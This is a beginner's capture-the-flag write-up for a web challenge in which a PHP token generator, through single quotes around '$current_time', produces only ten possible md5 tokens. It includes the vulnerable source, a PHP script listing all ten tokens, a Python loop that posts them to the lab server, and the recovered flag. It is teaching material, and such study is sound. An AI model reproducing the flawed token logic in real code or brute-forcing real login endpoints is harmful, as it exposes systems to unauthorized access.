



# Write-up

Shellmates Mini-CTF 2018 - Guess the token 1

Amina BALI  
SHELLMATES MEMBER  
ea\_bali@esi.dz

## Thanks

Special thanks to KIMOUCHE Mohamed and BOUTHIBA Abderraouf who organized this Mini-CTF and for all the help they gave me and what I learnt from them.

Thanks to ZOUAHI Hafidh who gave me advices to help me write this write-up (my very first one).

And of course, thanks to all **Shellmates** members (ntouma haylin 😊).

## Challenge description

**Title:** Guess the token 1

**Category:** Web

**Description:**

Jack est un très mauvais programmer, pouvez-vous le confirmer ?

Jack is a very bad programmer, can you confirm that?

[http://192.168.0.200/guess\\_the\\_token\\_1/index.php](http://192.168.0.200/guess_the_token_1/index.php)

**Points:** ?


**Difficulty:** Easy

**Author:** Raouf ou Mohamed ?

## Analysis

When we click on the link in the description this simple page shows up:

**Guess the token 1**



User :

Token:

[View source](#)

The 'view source' catches our attention, here is the php source that we get:

```
<?php
require_once "config.php";
if (isset($_POST)){
    $current_time = microtime();
    $token = md5('$current_time'.'_' . rand(1,10));
    if ($_POST["token"]==$token)
        $msg="<font color=green> Well done here is your gift: </font> $FLAG <br><br>";
    else
        $msg="<font color=red> Wrong token </font> <br><br>";
}
?>

<link rel="stylesheet" href="style.css" />
<h2>Guess the token 1</h2>
<br><br>
<center>
<form method="post" action="#">
    <div class="row"> <label> User : </label> <input name="username" type="text"/> <br><br> </div>
    <div class="row"> <label> Token: </label> <input name="token" type="text"/><br><br> </div>
    <input name="submit" type="submit" />
</form>
</center>
<?php echo $msg; ?>
<a href="source.php"> View source </a>
```

We notice an interesting part in the code that helps us know how the token is generated and validated (the rectangular red part) and as we can see the username is totally useless (unused to validate the form) so we can let it empty or put any username we want.

So, here we must be very careful and pay attention to this line:

```
$token = md5('$current_time'.'_'.rand(1,10));
```

As we can see the `current_time` variable is put between single quotes and in php this means that we refer to the string `$current_time` and not the variable value. This means that for every generated token we first take the `$current_time_` string and then concatenate it with a random number between 1 and 10 (included) after that we hash the string with md5 algorithm. Finally, the generated token is compared to the right token stored in `$token`.

## Resolution

Now that we analyzed and understand how the whole thing works, we only need to generate all the possible tokens and then try them one by one until the flag is returned.

As we practically have the code that generates the tokens we will reuse it as follow:

```
<?php
$current_time = microtime();
for ($x = 1; $x <= 10; $x++)
{
    $token = md5('$current_time'.'_'. $x);
    echo $token . "\xa";
}
?>
```

We put the generated tokens into a text file (tokens.txt) that we will use in our python script to post the tokens:

```
import requests
import re

file = open("tokens.txt", "r").readlines()

for line in file:
    line = line.strip('\n')
    r = requests.post("http://192.168.0.200/guess_the_token_1/index.php", data={'username': 'user', 'token': line})
    if not re.search('Wrong token', r.text):
        print ("flag : " + r.text)
```

When we execute the script (`python ./guess_the_token_1.py`) we finally get the flag: `Shellmates{0bs3rve_an4lyse_d3duce}`

## What we learn from this task

We learned through this challenge to make the difference between what is put between single quotes and double quotes in PHP:

- When no quotes are used, it's clear that we refer to the variable, for example: `$var`
- When we put something between single quotes, the complete string will be displayed as it is as we saw with `'$current_time'`, for example:

`echo 'this is a $var'` will display: `this is a $var`

- When we put something between double quotes, the variables are evaluated, so the example before will become:

`echo "this is a $var"` that will display: `this is a variable` (if we assure that the value of `$var` is `'variable'`).

For more details about single and double quotes in php, take a look at this [link](#).

Thanks for reading 😊